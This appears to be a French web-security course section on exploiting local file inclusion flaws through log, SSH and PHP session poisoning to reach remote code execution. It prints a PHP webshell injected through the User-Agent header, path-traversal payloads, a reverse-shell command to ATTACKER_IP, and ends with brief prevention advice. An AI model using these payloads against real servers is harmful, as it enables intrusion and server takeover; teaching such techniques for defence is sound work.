4. Log Poisoning — transformer une LFI en exécution de code

Le log poisoning est l’une des techniques les plus puissantes qui dérivent d’une LFI. Elle permet de transformer une simple lecture de fichier en exécution de code à distance (RCE).

Principe du Log Poisoning

Les serveurs web écrivent les requêtes HTTP dans des fichiers de logs. Si on injecte du code PHP dans une requête (via le User-Agent), ce code est écrit dans le log. Ensuite, en incluant ce fichier via la LFI, PHP l’exécute.

Conditions nécessaires :

1. Une faille LFI permettant d’inclure les logs du serveur
2. Les logs doivent être lisibles par le processus PHP

Etape 1 : Localiser les fichiers de logs

# Logs Apache (Debian/Ubuntu)
/var/log/apache2/access.log
/var/log/apache2/error.log

# Logs Apache (CentOS/RedHat)
/var/log/httpd/access_log

# Logs Nginx
/var/log/nginx/access.log

# Via la LFI :
?page=../../../../var/log/apache2/access.log

Etape 2 : Empoisonner les logs

On injecte du code PHP via le header User-Agent :

# Injection d'un webshell dans le User-Agent
curl -A "<?php system($_GET['cmd']); ?>" http://site-cible.com/

# Les logs contiendront :
# 192.168.1.1 - - [09/Jul/2026] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

Etape 3 : Declencher l’execution via LFI

# Inclure le log contamine et exécuter une commande
?page=../../../../var/log/apache2/access.log&cmd=id
# Résultat : uid=33(www-data) gid=33(www-data)

# Obtenir un shell reverse
?page=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

Autres vecteurs d’injection

Logs SSH

# Tenter une connexion SSH avec un username contenant du PHP
ssh '<?php system($_GET["cmd"]); ?>'@site-cible.com
# /var/log/auth.log enregistrera la tentative
?page=../../../../var/log/auth.log&cmd=id

Variables d’environnement

# /proc/self/environ contient HTTP_USER_AGENT
curl -A "<?php system($_GET['cmd']); ?>" http://site.com/
?page=../../../../proc/self/environ&cmd=id

Empoisonnement de session (Session Poisoning)

Lorsqu’une application PHP stocke des données contrôlables par l’utilisateur dans les variables de session (nom d’utilisateur, User-Agent, langue…), il est possible d’y injecter du code PHP. Le fichier de session est ensuite inclus via la LFI pour obtenir une exécution de code.

Localiser les fichiers de session PHP

# Chemins courants sur Linux
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/var/tmp/sess_PHPSESSID

# Vérifier la config PHP (via LFI ou phpinfo())
?page=../../../../etc/php/8.1/apache2/php.ini
# Chercher : session.save_path

Étapes d’exploitation

1. Récupérer le cookie PHPSESSID (ex: abc123def456)
2. Identifier un champ de session contrôlable (username, avatar, langue…)
3. Injecter du code PHP dans ce champ
4. Inclure le fichier de session via la LFI

# 1. Se connecter / créer une session et noter le PHPSESSID
curl -c cookies.txt http://site-cible.com/login.php 
     -d "user=<?php system($_GET['cmd']); ?>&pass=test"

# Le PHPSESSID est dans cookies.txt :
PHPSESSID=abc123def456

# 2. Inclure le fichier de session via la LFI
?page=../../../../var/lib/php/sessions/sess_abc123def456&cmd=id

# Résultat :
# uid=33(www-data) gid=33(www-data)

Variante via User-Agent dans la session

# Certaines apps stockent le User-Agent en session pour logging
curl -b "PHPSESSID=abc123def456" 
     -A "<?php system($_GET['cmd']); ?>" 
     http://site-cible.com/dashboard.php

# Puis déclencher via LFI
?page=../../../../var/lib/php/sessions/sess_abc123def456&cmd=whoami

Avantage par rapport au log poisoning : les fichiers de session sont souvent plus accessibles (path prévisible) et leur contenu est moins susceptible d’être tronqué par des filtres sur les logs.

Prevention du Log Poisoning

• Restreindre les permissions des fichiers de logs (non lisibles par www-data)
• Configurer open_basedir pour empêcher l’accès hors du webroot
• Corriger la faille LFI à la source (voir unité 8)